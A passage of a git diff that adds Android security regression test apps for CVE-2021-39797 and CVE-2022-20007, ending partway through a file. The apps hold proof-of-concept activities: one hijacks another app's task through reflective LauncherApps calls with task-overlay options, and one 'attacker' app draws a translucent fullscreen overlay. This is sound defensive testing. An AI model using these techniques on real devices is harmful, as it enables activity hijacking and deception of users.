+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..31c61f7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39797_test">
+ <application android:label="CVE-2021-39797-test">
+ <activity android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39797_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/res/values/integers.xml
new file mode 100644
index 0000000..363df00
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="noAssumptionFailure">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/res/values/strings.xml
new file mode 100644
index 0000000..e61e413
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/res/values/strings.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+ <string name="appUiErrorTargetApp">Timed out waiting on UI of CVE_2021_39797_target App</string>
+ <string name="appUiErrorTestApp">Timed out waiting on UI of CVE_2021_39797_test App</string>
+ <string name="attrTaskOverlay">android.activity.taskOverlay</string>
+ <string name="attrLaunchTaskId">android.activity.launchTaskId</string>
+ <string name="attrPIntentLaunchFlags">android.activity.pendingIntentLaunchFlags</string>
+ <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+ <string name="errorMessage">Device is vulnerable to b/209607104 !!</string>
+ <string name="errorNullCheckPIntent">getMainActivityLaunchIntent returned null, it is expected
+ to return a non-null result</string>
+ <string name="flagTaskSwapped">taskSwapped</string>
+ <string name="invokeExceptionMsg">Got an exception while calling Method.invoke() on
+ LauncherApps method getMainActivityLaunchIntent instance</string>
+ <string name="messageKey">message</string>
+ <string name="noMethodExceptionMsg">Got NoSuchMethodException for LauncherApps method
+ getMainActivityLaunchIntent</string>
+ <string name="resultKey">result</string>
+ <string name="sharedPreferences">prefs</string>
+ <string name="startIntentSenderExceptionMsg">Got an exception while calling startIntentSender
+ </string>
+ <string name="targetPkg">android.security.cts.CVE_2021_39797_target</string>
+ <string name="targetActivityName">android.security.cts.CVE_2021_39797_target.TargetActivity
+ </string>
+ <string name="targetFunction">getMainActivityLaunchIntent</string>
+ <string name="taskId">taskId</string>
+ <string name="timedOutPocActivity">Timed out waiting on a result from PocActivity</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/src/android/security/cts/CVE_2021_39797_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/src/android/security/cts/CVE_2021_39797_test/DeviceTest.java
new file mode 100644
index 0000000..d9a2da3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/src/android/security/cts/CVE_2021_39797_test/DeviceTest.java
@@ -0,0 +1,127 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39797_test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ static final int TIMEOUT_MS = 10000;
+
+ @Test
+ public void testTaskOverride() {
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ assumeNotNull(device);
+ String targetPkg = context.getString(R.string.targetPkg);
+ String targetActivityName = context.getString(R.string.targetActivityName);
+
+ // Start the TargetActivity to make it a recent task when we start the PocActivity
+ Intent targetIntent = new Intent();
+ targetIntent.setComponent(new ComponentName(targetPkg, targetActivityName));
+ targetIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ context.startActivity(targetIntent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(context.getString(R.string.activityNotFoundMsg, targetIntent), e);
+ }
+ assumeTrue(context.getString(R.string.appUiErrorTargetApp),
+ device.wait(Until.hasObject(By.pkg(targetPkg)), TIMEOUT_MS));
+
+ // Start the PocActivity
+ device.pressHome();
+ Intent intent = new Intent(context, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ context.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(context.getString(R.string.activityNotFoundMsg, intent), e);
+ }
+
+ // Wait on a result from PocActivity
+ SharedPreferences sharedPrefs = context.getSharedPreferences(
+ context.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+ assumeNotNull(sharedPrefs);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
+ if (key.equals(context.getString(R.string.resultKey))) {
+ preferenceChanged.release();
+ }
+ }
+ };
+ sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
+ try {
+ preferenceChanged.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ assumeNoException(context.getString(R.string.timedOutPocActivity), e);
+ }
+ int result = sharedPrefs.getInt(context.getString(R.string.resultKey),
+ context.getResources().getInteger(R.integer.assumptionFailure));
+ String message = sharedPrefs.getString(context.getString(R.string.messageKey),
+ context.getString(R.string.defaultSemaphoreMsg));
+ assumeTrue(message,
+ result != context.getResources().getInteger(R.integer.assumptionFailure));
+
+ // Try launching the TargetActivity again. Without fix, it is supposed to be hijacked by
+ // the PocActivity and PocActivity should be started in its place.
+ try {
+ context.startActivity(targetIntent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(context.getString(R.string.activityNotFoundMsg, targetIntent), e);
+ }
+
+ // Wait for the UI of TargetActivity
+ boolean targetActivityDisplayed =
+ device.wait(Until.hasObject(By.pkg(targetPkg)), TIMEOUT_MS);
+
+ // Check if the PocActivity task came up on the screen replacing the TargetActivity task
+ boolean taskSwapped =
+ sharedPrefs.getBoolean(context.getString(R.string.flagTaskSwapped), false);
+
+ // Fail the test only if TargetActivity did not appear on the screen and the task of
+ // TargetActivity is hijacked by the PocActivity
+ assertFalse(context.getString(R.string.errorMessage),
+ !targetActivityDisplayed && taskSwapped);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/src/android/security/cts/CVE_2021_39797_test/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/src/android/security/cts/CVE_2021_39797_test/PocActivity.java
new file mode 100644
index 0000000..42eff75
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39797/test-app/src/android/security/cts/CVE_2021_39797_test/PocActivity.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39797_test;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.IntentSender.SendIntentException;
+import android.content.SharedPreferences;
+import android.content.pm.LauncherApps;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.UserHandle;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+public class PocActivity extends Activity {
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ SharedPreferences prefs =
+ getSharedPreferences(getString(R.string.sharedPreferences), MODE_PRIVATE);
+ if (prefs == null) {
+ return;
+ }
+ int taskIdSaved = prefs.getInt(getString(R.string.taskId), -1);
+ if (taskIdSaved == -1) {
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.putInt(getString(R.string.taskId), getTaskId());
+ editor.apply();
+ } else {
+ if ((taskIdSaved - 1) == getTaskId()) {
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.putBoolean(getString(R.string.flagTaskSwapped), true);
+ editor.apply();
+ }
+ setResult(prefs, getResources().getInteger(R.integer.noAssumptionFailure), "");
+ return;
+ }
+
+ Method method;
+ try {
+ method = LauncherApps.class.getMethod(getString(R.string.targetFunction),
+ ComponentName.class, Bundle.class, UserHandle.class);
+ } catch (NoSuchMethodException e) {
+ setResult(prefs, getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.noMethodExceptionMsg));
+ return;
+ }
+
+ Bundle options = new Bundle();
+ options.putBoolean(getString(R.string.attrTaskOverlay), true);
+ options.putInt(getString(R.string.attrLaunchTaskId), getTaskId() - 1);
+
+ PendingIntent pi;
+ try {
+ pi = (PendingIntent) method.invoke(getSystemService(LauncherApps.class),
+ getIntent().getComponent(), options,
+ UserHandle.getUserHandleForUid(Process.myUid()));
+ } catch (IllegalAccessException | InvocationTargetException e) {
+ setResult(prefs, getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.invokeExceptionMsg));
+ return;
+ }
+ if (pi == null) {
+ setResult(prefs, getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.errorNullCheckPIntent));
+ return;
+ }
+
+ Bundle sendOptions = new Bundle();
+ sendOptions.putInt(getString(R.string.attrPIntentLaunchFlags),
+ Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+
+ try {
+ startIntentSender(pi.getIntentSender(), null, 0, 0, 0, sendOptions);
+ } catch (SendIntentException e) {
+ setResult(prefs, getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.startIntentSenderExceptionMsg));
+ return;
+ }
+ setResult(prefs, getResources().getInteger(R.integer.noAssumptionFailure), "");
+ }
+
+ private void setResult(SharedPreferences sh, int result, String message) {
+ if (sh != null) {
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/Android.bp
new file mode 100644
index 0000000..4ae6cbf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20007-Attacker",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
new file mode 100644
index 0000000..9f7ac84
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20007_attacker"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2022-20007-Attacker"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true"
+ android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen">
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..bed9e8d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/res/layout/activity_main.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<FrameLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+ <FrameLayout
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:fitsSystemWindows="true">
+ </FrameLayout>
+</FrameLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
new file mode 100644
index 0000000..ad87ea7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20007_attacker;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ setTheme(android.R.style.Theme_Translucent_NoTitleBar_Fullscreen);
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
new file mode 100644
index 0000000..713c0ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20007",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..ea78d62
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20007"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2022-20007"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ </activity>
+ <activity
+ android:name=".PocMainActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20007" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..d327e30
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/layout/activity_main.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
new file mode 100644
index 0000000..26b15c2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="pass">0</integer>
+ <integer name="fail">1</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
new file mode 100644
index 0000000..1368bc2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="assumptionFailureMessage">
+ Assumption failure occurred.
+ </string>
+ <string name="failMessage">
+ Vulnerable to b/211481342!! Race Condition when startActivities() is invoked which can cause
+ Not-Paused Background Activity
+ </string>
+ <string name="messageKey">message</string>
+ <string name="passMessage">Pass</string>
+ <string name="resultKey">result</string>
+ <string name="sharedPreferences">SharedPreferences</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
new file mode 100644
index 0000000..925da1c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20007;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private Context mContext = getApplicationContext();
+
+ String getStringRes(int key) {
+ return mContext != null ? mContext.getResources().getString(key) : null;
+ }
+
+ int getIntegerRes(int key) {
+ return mContext != null ? mContext.getResources().getInteger(key) : null;
+ }
+
+ @Test
+ public void testRaceCondition() throws Exception {
+ final long timeoutSec = 20L;
+ assumeNotNull(mContext);
+ final Intent intent = new Intent(mContext, PocMainActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ mContext.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(e);
+ }
+ SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+ getStringRes(R.string.sharedPreferences), Context.MODE_APPEND);
+ assumeNotNull(sharedPrefs);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
+ if (key.equals(getStringRes(R.string.resultKey))) {
+ if (sharedPreferences.getInt(key,
+ getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
+ R.integer.pass)) {
+ preferenceChanged.release();
+ }
+ }
+ }
+ };
+ sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
+ try {
+ preferenceChanged.tryAcquire(timeoutSec, TimeUnit.SECONDS);
+ } catch (InterruptedException e) {
+ assumeNoException(e);
+ }
+ int result = sharedPrefs.getInt(getStringRes(R.string.resultKey),
+ getIntegerRes(R.integer.assumptionFailure));
+ String message = sharedPrefs.getString(getStringRes(R.string.messageKey),
+ getStringRes(R.string.assumptionFailureMessage));
+ assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure));
+ assertNotEquals(message, result, getIntegerRes(R.integer.fail));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java
new file mode 100644
index 0000000..038335e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20007;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.SharedPreferences;
